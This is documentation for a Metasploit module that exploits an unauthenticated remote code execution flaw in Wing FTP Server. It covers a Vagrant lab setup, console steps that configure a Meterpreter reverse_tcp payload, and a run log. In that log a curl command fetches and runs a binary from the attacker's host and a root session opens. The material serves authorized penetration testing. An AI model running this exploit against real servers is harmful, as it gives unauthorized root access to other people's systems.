## Vulnerable Application

This Metasploit module exploits an **unauthenticated Remote Code Execution** vulnerability
in **Wing FTP Server** (≤ 7.4.3 on Linux 64-bit), via its web administration interface.
The flaw lies in the login handler (`loginok.html`): by injecting a null byte (`%00`) into
the `username` parameter, attacker-supplied Lua code is written into the session file and
then executed by `loadfile()`, yielding arbitrary code execution as **root**.

To set up a vulnerable lab, use the following **Vagrantfile**, which provisions a Debian
"bookworm" VM, installs Wing FTP Server 7.4.3, and exposes its HTTP/S and FTP ports on the host:

```ruby
Vagrant.configure("2") do |config|
  config.vm.box = "debian/bookworm64"

  if Vagrant.has_plugin?("vagrant-vbguest")
    config.vbguest.auto_update = false
  end

  {
    21    => 2121,   # FTP
    990   => 2990,   # FTPS
    5466  => 5466,   # Admin port WingFTP
    50000 => 50000,  # Passive FTP range start
    50050 => 50050,  # Passive FTP range end
    80    => 8081    # HTTP WingFTP Web GUI
  }.each do |guest, host|
    config.vm.network "forwarded_port",
                      guest:        guest,
                      host:         host,
                      host_ip:      "0.0.0.0",
                      auto_correct: true
  end

  config.vm.provision "shell", inline: <<-SHELL
#!/usr/bin/env bash
set -e

ADMIN_USER="admin"
ADMIN_PASS="adminadmin"
ADMIN_PORT="5466"
WFTP_URL="https://web.archive.org/web/20250108084555/https://www.wftpserver.com/download/wftpserver-linux-64bit.tar.gz"

apt-get update
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
  wget ca-certificates libssl3 libpam0g libacl1 libcap2 \
  net-tools procps expect curl \
  linux-headers-amd64 build-essential dkms

mkdir -p /opt/wingftp
cd /opt/wingftp
wget -qO wftp.tar.gz "$WFTP_URL"
tar xzf wftp.tar.gz --strip-components=1
rm wftp.tar.gz
chmod +x setup.sh

expect -c "
  spawn /opt/wingftp/setup.sh
  expect \\\"Enter your administrator name:\\\"     { send \\\"${ADMIN_USER}\\r\\\" }
  expect \\\"Enter your administrator password:\\\" { send \\\"${ADMIN_PASS}\\r\\\" }
  expect \\\"Enter your administrator password:\\\" { send \\\"${ADMIN_PASS}\\r\\\" }
  expect \\\"Enter the listener port\\\"           { send \\\"${ADMIN_PORT}\\r\\\" }
  expect \\\"Do you want to start Wing FTP Server now?\\\" { send \\\"y\\r\\\" }
  expect eof
"

systemctl daemon-reload
systemctl enable wftpserver.service
systemctl start wftpserver.service
SHELL

  config.vm.provider "virtualbox" do |vb|
    vb.memory = 512
    vb.cpus   = 1
  end
end
```

* Save this as Vagrantfile in an empty directory.
* Run vagrant up.
* After provisioning, access the Wing FTP Server web UI at http://localhost:5466/ with credentials admin/adminadmin.
* On first login, a popup will appear; click OK.
* Create a new domain in the admin interface (this will enable the web client panel, port 8081).
* Then create a new user; for simplicity, use anonymous.


## Verification Steps

1. Start `msfconsole`.
2. Load the module:
```
use exploit/multi/http/wingftp_null_byte_rce
```
3. Set target parameters:
```
set RHOSTS 127.0.0.1
set RPORT 8081
set TARGETURI /
```
4. Configure payload:
```
set payload cmd/linux/http/x64/meterpreter/reverse_tcp
set LHOST <your IP>
set LPORT <your port>
```
5. Run the exploit:
```
run
```
6. On success, a Meterpreter session will open, confirming remote code execution.


## Options

### USERNAME

A valid username (default: anonymous)

### PASSWORD

A valid password (default: '')


## Scenarios

### Successful Exploitation against Wing FTP Server

**Setup**:

* Wing FTP Server running in the Vagrant VM above.
* Attacker on host machine with Metasploit.

**Steps**:

With `cmd/linux/http/x64/meterpreter/reverse_tcp`:

```
msf exploit(multi/http/wingftp_null_byte_rce) > run http://lab:8081
[*] Command to run on remote host: curl -so ./FaWVivODJhB http://192.168.1.36:9999/LoPlnjEpeOexZNVppn6cAA;chmod +x ./FaWVivODJhB;./FaWVivODJhB&
[*] Fetch handler listening on 192.168.1.36:9999
[*] HTTP server started
[*] Adding resource /LoPlnjEpeOexZNVppn6cAA
[*] Started reverse TCP handler on 192.168.1.36:4444 
[*] Running automatic check ("set AutoCheck false" to disable)
[+] The target appears to be vulnerable. UID cookie received: UID=2a5efb5a398e4ff19369a523c3cfffb03683e20446a6b40715757e2b05f10521
[+] Received UID: UID=146015b242094d8f4eff04941d94e67d3683e20446a6b40715757e2b05f10521
[*] Client 192.168.1.36 requested /LoPlnjEpeOexZNVppn6cAA
[*] Sending payload to 192.168.1.36 (curl/7.88.1)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3045380 bytes) to 192.168.1.36
[*] Meterpreter session 7 opened (192.168.1.36:4444 -> 192.168.1.36:46260) at 2025-07-01 18:56:31 +0200

meterpreter > sysinfo 
Computer     : 10.0.2.15
OS           : Debian 12.9 (Linux 6.1.0-37-amd64)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > getuid
Server username: root
```
